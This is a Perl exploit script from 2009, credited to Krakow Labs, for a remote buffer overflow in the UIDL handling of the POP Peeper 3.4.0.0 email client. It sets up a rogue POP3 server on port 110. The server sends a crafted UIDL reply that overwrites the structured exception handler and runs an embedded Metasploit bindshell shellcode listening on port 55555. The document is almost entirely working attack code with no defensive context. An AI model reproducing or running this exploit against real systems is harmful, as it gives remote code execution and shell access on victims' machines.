Pop Peeper 3.4.0.0 UIDL Buffer Overflow Exploit

`#!/usr/bin/perl  
# KL0209EXP-poppeeper_uidl-bof.pl  
# 02.27.2009  
# Krakow Labs Development [www.krakowlabs.com]  
# POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit  
#  
# SEH overwrite exploitation, uses Imap.dll (included with POP Peeper) for universal  
# exploitation (gotta love no /SafeSEH). Special thanks goes to James Burton for help  
# and collaboration for exploitation of this bug :P. Tested on Windows XP SP3.  
#  
# rush@KL (Jeremy Brown) [[email protected]]  
# Jayji (James Burton) [[email protected]]  
#  
# Associated Files & Information:  
# http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt  
# http://www.krakowlabs.com/dev/exp/KL0209EXP-poppeeper_uidl-bof.pl.txt  
# http://www.krakowlabs.com/dev/exp/KL0209EXP-poppeeper_uidl-bof.jpg  
#  
# KL0209EXP-poppeeper_uidl-bof.pl  
  
use IO::Socket;  
  
$nextsehh = 0x909006EB; # JMP 6  
$sehh = 0x10014E39; # Windows XP UNIVERSAL Imap.dll pop pop ret  
  
# Win32 Bindshell Shellcode (author=metasploit,port=55555,encoder=pexalphanum,size=709,exitfunc=thread)  
$sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" .  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" .  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" .  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" .  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" .  
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38" .  
"\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x47" .  
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38" .  
"\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x38" .  
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" .  
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" .  
"\x46\x4f\x4b\x53\x46\x35\x46\x32\x4a\x42\x45\x57\x45\x4e\x4b\x48" .  
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x54" .  
"\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x58" .  
"\x49\x38\x4e\x56\x46\x52\x4e\x51\x41\x36\x43\x4c\x41\x43\x4b\x4d" .  
"\x46\x36\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x44\x4e\x30\x4b\x58" .  
"\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x55\x4a\x46" .  
"\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" .  
"\x43\x35\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x47\x43\x37" .  
"\x44\x43\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" .  
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e" .  
"\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30" .  
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" .  
"\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x55\x43\x35\x43\x35\x43\x34" .  
"\x43\x55\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x49\x4d" .  
"\x43\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x49\x4a\x46\x46\x4a" .  
"\x4c\x31\x42\x47\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41" .  
"\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" .  
"\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" .  
"\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d" .  
"\x42\x55\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46" .  
"\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x55" .  
"\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x36" .  
"\x4d\x36\x49\x48\x45\x4e\x4c\x36\x42\x55\x49\x45\x49\x32\x4e\x4c" .  
"\x49\x48\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x43\x42\x4c" .  
"\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x54\x4e\x32" .  
"\x43\x39\x4d\x48\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" .  
"\x44\x47\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f" .  
"\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x36" .  
"\x41\x50\x41\x55\x41\x35\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56" .  
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" .  
"\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f" .  
"\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" .  
"\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x55\x4f\x4f\x48\x4d" .  
"\x4f\x4f\x42\x4d\x5a";  
  
$serv = IO::Socket::INET->new(Proto=>'tcp',  
LocalPort=>'110',  
Listen=>1,  
Timeout=>60)  
or die "Error: listen(110)\n";  
  
$cli = $serv->accept() or die "Error: accept()\n";  
  
$nextseh = pack('l', $nextsehh);  
$seh = pack('l', $sehh);  
$nop = "\x90";  
  
$payload = "+OK\r\n1 " . "A" x 1072 . $nextseh . $seh . $nop x 32 . $sc . "\r\n.\r\n";  
  
$cli->send("+OK\r\n");  
$cli->recv($recvbuf, 512);  
$cli->send("+OK\r\n");  
$cli->recv($recvbuf, 512);  
$cli->send("+OK\r\n");  
$cli->recv($recvbuf, 512);  
$cli->send("+OK 1 100\r\n");  
$cli->recv($recvbuf, 512);  
$cli->send($payload);  
  
close($cli);  
close($serv);`